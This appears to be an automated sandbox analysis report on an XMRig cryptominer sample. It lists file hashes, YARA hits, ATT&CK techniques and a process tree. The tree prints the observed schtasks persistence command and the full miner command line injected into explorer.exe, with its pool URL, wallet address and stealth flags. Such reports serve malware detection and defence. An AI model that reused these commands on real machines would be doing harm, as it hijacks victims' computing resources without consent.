xmrig | 7c88f9d38fcb9dd17d733e65a8ebee46d6b74700a02ba5a4614b7b6002d5ef0c

General

Target

e80c9491a679eec91b58c5a8cc20e1b4.exe
Size

167KB
MD5

e80c9491a679eec91b58c5a8cc20e1b4
SHA1

a365aa7c60357c693b1493eb0f13f112525e1e1f
SHA256

7c88f9d38fcb9dd17d733e65a8ebee46d6b74700a02ba5a4614b7b6002d5ef0c
SHA512

244e408fb35e632f442ab0ce825310dae95b661d5e238ff64639149f2cc775807a0f361eba0a251e6fe6b8de8b500ff9a7947c57c1645f2320d442102a73d16c

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner Payload 3 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/1292-137-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral2/memory/1292-138-0x00000001402EB66C-mapping.dmp	xmrig
behavioral2/memory/1292-140-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig

Executes dropped EXE 2 IoCs

Processes:

smssmanagment.exesihost64.exe

pid process

8 smssmanagment.exe
2104 sihost64.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Suspicious use of SetThreadContext 1 IoCs

Processes:

smssmanagment.exe

description pid process target process

PID 8 set thread context of 1292 8 smssmanagment.exe explorer.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

3364 schtasks.exe
1888 schtasks.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

e80c9491a679eec91b58c5a8cc20e1b4.exesmssmanagment.exe

pid process

3724 e80c9491a679eec91b58c5a8cc20e1b4.exe
8 smssmanagment.exe

pid	process
8	smssmanagment.exe
2104	sihost64.exe

description	pid	process	target process
PID 8 set thread context of 1292	8	smssmanagment.exe	explorer.exe

pid	process
3364	schtasks.exe
1888	schtasks.exe

pid	process
3724	e80c9491a679eec91b58c5a8cc20e1b4.exe
8	smssmanagment.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

e80c9491a679eec91b58c5a8cc20e1b4.exesmssmanagment.exeexplorer.exe

description	pid	process
Token: SeDebugPrivilege	3724	e80c9491a679eec91b58c5a8cc20e1b4.exe
Token: SeDebugPrivilege	8	smssmanagment.exe
Token: SeLockMemoryPrivilege	1292	explorer.exe
Token: SeLockMemoryPrivilege	1292	explorer.exe

Suspicious use of WriteProcessMemory 27 IoCs

Processes:

e80c9491a679eec91b58c5a8cc20e1b4.execmd.exesmssmanagment.execmd.exe

description	pid	process	target process
PID 3724 wrote to memory of 1408	3724	e80c9491a679eec91b58c5a8cc20e1b4.exe	cmd.exe
PID 3724 wrote to memory of 1408	3724	e80c9491a679eec91b58c5a8cc20e1b4.exe	cmd.exe
PID 1408 wrote to memory of 3364	1408	cmd.exe	schtasks.exe
PID 1408 wrote to memory of 3364	1408	cmd.exe	schtasks.exe
PID 3724 wrote to memory of 8	3724	e80c9491a679eec91b58c5a8cc20e1b4.exe	smssmanagment.exe
PID 3724 wrote to memory of 8	3724	e80c9491a679eec91b58c5a8cc20e1b4.exe	smssmanagment.exe
PID 8 wrote to memory of 1380	8	smssmanagment.exe	cmd.exe
PID 8 wrote to memory of 1380	8	smssmanagment.exe	cmd.exe
PID 8 wrote to memory of 2104	8	smssmanagment.exe	sihost64.exe
PID 8 wrote to memory of 2104	8	smssmanagment.exe	sihost64.exe
PID 1380 wrote to memory of 1888	1380	cmd.exe	schtasks.exe
PID 1380 wrote to memory of 1888	1380	cmd.exe	schtasks.exe
PID 8 wrote to memory of 1292	8	smssmanagment.exe	explorer.exe
PID 8 wrote to memory of 1292	8	smssmanagment.exe	explorer.exe
PID 8 wrote to memory of 1292	8	smssmanagment.exe	explorer.exe
PID 8 wrote to memory of 1292	8	smssmanagment.exe	explorer.exe
PID 8 wrote to memory of 1292	8	smssmanagment.exe	explorer.exe
PID 8 wrote to memory of 1292	8	smssmanagment.exe	explorer.exe
PID 8 wrote to memory of 1292	8	smssmanagment.exe	explorer.exe
PID 8 wrote to memory of 1292	8	smssmanagment.exe	explorer.exe
PID 8 wrote to memory of 1292	8	smssmanagment.exe	explorer.exe
PID 8 wrote to memory of 1292	8	smssmanagment.exe	explorer.exe
PID 8 wrote to memory of 1292	8	smssmanagment.exe	explorer.exe
PID 8 wrote to memory of 1292	8	smssmanagment.exe	explorer.exe
PID 8 wrote to memory of 1292	8	smssmanagment.exe	explorer.exe
PID 8 wrote to memory of 1292	8	smssmanagment.exe	explorer.exe
PID 8 wrote to memory of 1292	8	smssmanagment.exe	explorer.exe

C:\Users\Admin\AppData\Local\Temp\e80c9491a679eec91b58c5a8cc20e1b4.exe
"C:\Users\Admin\AppData\Local\Temp\e80c9491a679eec91b58c5a8cc20e1b4.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3724

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "smssmanagment" /tr '"c:\users\admin\appdata\roaming\smssmanagment.exe"' & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:1408

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "smssmanagment" /tr '"c:\users\admin\appdata\roaming\smssmanagment.exe"'
3⤵
- Creates scheduled task(s)
PID:3364

C:\Users\Admin\appdata\roaming\smssmanagment.exe
"C:\Users\Admin\appdata\roaming\smssmanagment.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:8

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "smssmanagment" /tr '"c:\users\admin\appdata\roaming\smssmanagment.exe"' & exit
3⤵
- Suspicious use of WriteProcessMemory
PID:1380

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "smssmanagment" /tr '"c:\users\admin\appdata\roaming\smssmanagment.exe"'
4⤵
- Creates scheduled task(s)
PID:1888

C:\Users\Admin\appdata\roaming\microsoft\libs\sihost64.exe
"C:\Users\Admin\appdata\roaming\microsoft\libs\sihost64.exe"
3⤵
- Executes dropped EXE
PID:2104

C:\Windows\explorer.exe
C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:14433 --user=4AXqAB3xATp3qXvA883jjVbbvQtqtFoVPLy79LU8TjqiWkK71DnXYAkRsgExycBRqsJ4yBNxAFnqvNmz6KhCDv1Z622gFLs.w2/explorer --pass= --cpu-max-threads-hint=50 --cinit-remote-config="qWmSJPvneRNQfbpvLXoXBy3JpXXnkAtHjwumY21IlTMeLBYzClnsyLDbzMvGOMO4" --donate-level=0 --cinit-idle-wait=5 --cinit-idle-cpu=100 --tls --cinit-stealth
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1292

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\libs\sihost64.exe
MD5
f5cd230ba12c26c69b3859cf2dfe9ddb

SHA1
3444767d8a0616e783d0a177fc4dc7fc4621b48d

SHA256
a411b4575ae6fb722ab53c116570d7e7b56aba1bb292c208b12db3485fab08d6

SHA512
9670abb676deb21598e6c86379a19c0701768926a91819900324cf796c478d657949bd2b1dc5a0360fa8c5f4a1bb421cef1a75f265fa85a85612d765209770ba

Download Submit
C:\Users\Admin\AppData\Roaming\smssmanagment.exe
MD5
e80c9491a679eec91b58c5a8cc20e1b4

SHA1
a365aa7c60357c693b1493eb0f13f112525e1e1f

SHA256
7c88f9d38fcb9dd17d733e65a8ebee46d6b74700a02ba5a4614b7b6002d5ef0c

SHA512
244e408fb35e632f442ab0ce825310dae95b661d5e238ff64639149f2cc775807a0f361eba0a251e6fe6b8de8b500ff9a7947c57c1645f2320d442102a73d16c

Download Submit
C:\Users\Admin\appdata\roaming\microsoft\libs\sihost64.exe
MD5
f5cd230ba12c26c69b3859cf2dfe9ddb

SHA1
3444767d8a0616e783d0a177fc4dc7fc4621b48d

SHA256
a411b4575ae6fb722ab53c116570d7e7b56aba1bb292c208b12db3485fab08d6

SHA512
9670abb676deb21598e6c86379a19c0701768926a91819900324cf796c478d657949bd2b1dc5a0360fa8c5f4a1bb421cef1a75f265fa85a85612d765209770ba

Download Submit
C:\Users\Admin\appdata\roaming\smssmanagment.exe
MD5
e80c9491a679eec91b58c5a8cc20e1b4

SHA1
a365aa7c60357c693b1493eb0f13f112525e1e1f

SHA256
7c88f9d38fcb9dd17d733e65a8ebee46d6b74700a02ba5a4614b7b6002d5ef0c

SHA512
244e408fb35e632f442ab0ce825310dae95b661d5e238ff64639149f2cc775807a0f361eba0a251e6fe6b8de8b500ff9a7947c57c1645f2320d442102a73d16c

Download Submit
memory/8-121-0x0000000000000000-mapping.dmp

Download
memory/8-135-0x000000001D280000-0x000000001D282000-memory.dmp

Filesize
8KB

Download
memory/1292-138-0x00000001402EB66C-mapping.dmp

Download
memory/1292-137-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/1292-145-0x00000000024E0000-0x0000000002500000-memory.dmp

Filesize
128KB

Download
memory/1292-146-0x00000000024C0000-0x00000000024E0000-memory.dmp

Filesize
128KB

Download
memory/1292-144-0x00000000024C0000-0x00000000024E0000-memory.dmp

Filesize
128KB

Download
memory/1292-143-0x0000000000820000-0x0000000000840000-memory.dmp

Filesize
128KB

Download
memory/1292-140-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/1292-139-0x00000000005E0000-0x0000000000600000-memory.dmp

Filesize
128KB

Download
memory/1380-128-0x0000000000000000-mapping.dmp

Download
memory/1408-118-0x0000000000000000-mapping.dmp

Download
memory/1888-134-0x0000000000000000-mapping.dmp

Download
memory/2104-136-0x000000001BBD0000-0x000000001BBD2000-memory.dmp

Filesize
8KB

Download
memory/2104-132-0x0000000000140000-0x0000000000141000-memory.dmp

Filesize
4KB

Download
memory/2104-129-0x0000000000000000-mapping.dmp

Download
memory/3364-119-0x0000000000000000-mapping.dmp

Download
memory/3724-116-0x0000000000EB0000-0x0000000000EBA000-memory.dmp

Filesize
40KB

Download
memory/3724-114-0x0000000000680000-0x0000000000681000-memory.dmp

Filesize
4KB

Download
memory/3724-117-0x0000000000F00000-0x0000000000F01000-memory.dmp

Filesize
4KB

Download
memory/3724-120-0x0000000002D50000-0x0000000002D52000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads